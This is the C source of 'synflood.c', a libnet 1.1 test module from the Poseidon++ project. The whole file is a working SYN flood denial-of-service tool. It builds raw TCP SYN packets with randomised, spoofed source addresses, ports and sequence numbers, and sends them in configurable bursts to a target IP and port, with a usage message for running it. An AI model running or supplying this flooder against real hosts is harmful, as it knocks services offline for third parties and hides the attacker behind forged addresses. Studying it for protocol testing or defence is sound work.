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/*
* $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $
*
* Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
* SYN flooder rewritten for no good reason. Again as libnet test module.
* Again for libnet 1.1.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
#include "./libnet_test.h"
struct t_pack
{
struct libnet_ipv4_hdr ip;
struct libnet_tcp_hdr tcp;
};
int
main(int argc, char **argv)
{
u_long dst_ip = 0;
u_long src_ip = 0;
u_short dst_prt = 0;
u_short src_prt = 0;
libnet_t *l;
libnet_ptag_t t;
char *cp;
char errbuf[LIBNET_ERRBUF_SIZE];
int i, c, packet_amt, burst_int, burst_amt, build_ip;
packet_amt = 0;
burst_int = 0;
burst_amt = 1;
printf("libnet 1.1 syn flooding: TCP[raw]\n");
/*
* Initialize the library. Root priviledges are required.
*/
l = libnet_init(
LIBNET_RAW4, /* injection type */
NULL, /* network interface */
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
/*
* We expect the input to be of the form `ip.ip.ip.ip.port`. We
* point cp to the last dot of the IP address/port string and
* then seperate them with a NULL byte. The optarg now points to
* just the IP address, and cp points to the port.
*/
case 't':
if (!(cp = strrchr(optarg, '.')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
{
fprintf(stderr, "Bad IP address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 'a':
packet_amt = atoi(optarg);
break;
case 'i':
burst_int = atoi(optarg);
break;
case 'b':
burst_amt = atoi(optarg);
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
if (!dst_prt || !dst_ip || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
libnet_seed_prand(l);
for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
{
for (i = 0; i < packet_amt; i++)
{
t = libnet_build_tcp(
src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32),
libnet_get_prand(LIBNET_PRu32),
TH_SYN,
libnet_get_prand(LIBNET_PRu16),
0,
0,
LIBNET_TCP_H,
NULL,
0,
l,
t);
if (build_ip)
{
build_ip = 0;
libnet_build_ipv4(
LIBNET_TCP_H + LIBNET_IPV4_H,
0,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
0,
src_ip = libnet_get_prand(LIBNET_PRu32),
dst_ip,
NULL,
0,
l,
0);
}
c = libnet_write(l);
if (c == -1)
{
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
#if !(__WIN32__)
usleep(250);
#else
Sleep(250);
#endif
printf("%15s:%5d ------> %15s:%5d\n",
libnet_addr2name4(src_ip, 1),
ntohs(src_prt),
libnet_addr2name4(dst_ip, 1),
dst_prt);
}
#if !(__WIN32__)
sleep(burst_int);
#else
Sleep(burst_int * 1000);
#endif
}
exit(EXIT_SUCCESS);
}
void
usage(char *nomenclature)
{
fprintf(stderr,
"\n\nusage: %s -t -a [-i -b]\n"
"\t-t target, (ip.address.port: 192.168.2.6.23)\n"
"\t-a number of packets to send per burst\n"
"\t-i packet burst sending interval (defaults to 0)\n"
"\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
}
/* EOF */
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